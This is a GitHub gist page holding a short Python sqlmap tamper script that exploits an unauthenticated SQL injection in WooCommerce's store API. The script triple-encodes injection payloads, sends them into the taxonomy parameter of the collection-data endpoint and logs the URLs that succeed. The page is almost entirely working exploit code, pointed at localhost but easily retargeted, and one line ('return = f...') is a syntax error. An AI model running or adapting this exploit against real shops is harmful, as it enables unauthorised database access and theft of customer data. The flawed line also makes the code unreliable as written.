Skip to content

Instantly share code, notes, and snippets.

@amalmurali47
Created July 16, 2021 20:17
Show Gist options
  • Save amalmurali47/58d0d191cde955e76983be9425e04b00 to your computer and use it in GitHub Desktop.
Save amalmurali47/58d0d191cde955e76983be9425e04b00 to your computer and use it in GitHub Desktop.
sqlmap tamper script for WooCommerce Unauthenticated SQLi
#!/usr/bin/env python3
from urllib.parse import quote as encode
import requests
base_url = 'http://localhost:9001'
def tamper(payload, **kwargs):
encoded_payload = encode(encode(encode(payload)))
check_sqli(encoded_payload)
return encoded_payload
def generate_url(payload):
return = f'{base_url}/wp-json/wc/store/products/collection-data?calculate_attribute_counts[0][query_type]=or&calculate_attribute_counts[0][taxonomy]={payload}'
def save(url):
with open('/tmp/payload_urls', 'a') as f:
print(url, file=f)
def check_sqli(p):
url = generate_url(p)
r = requests.get(url).json()
if r['attribute_counts']:
save(url)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment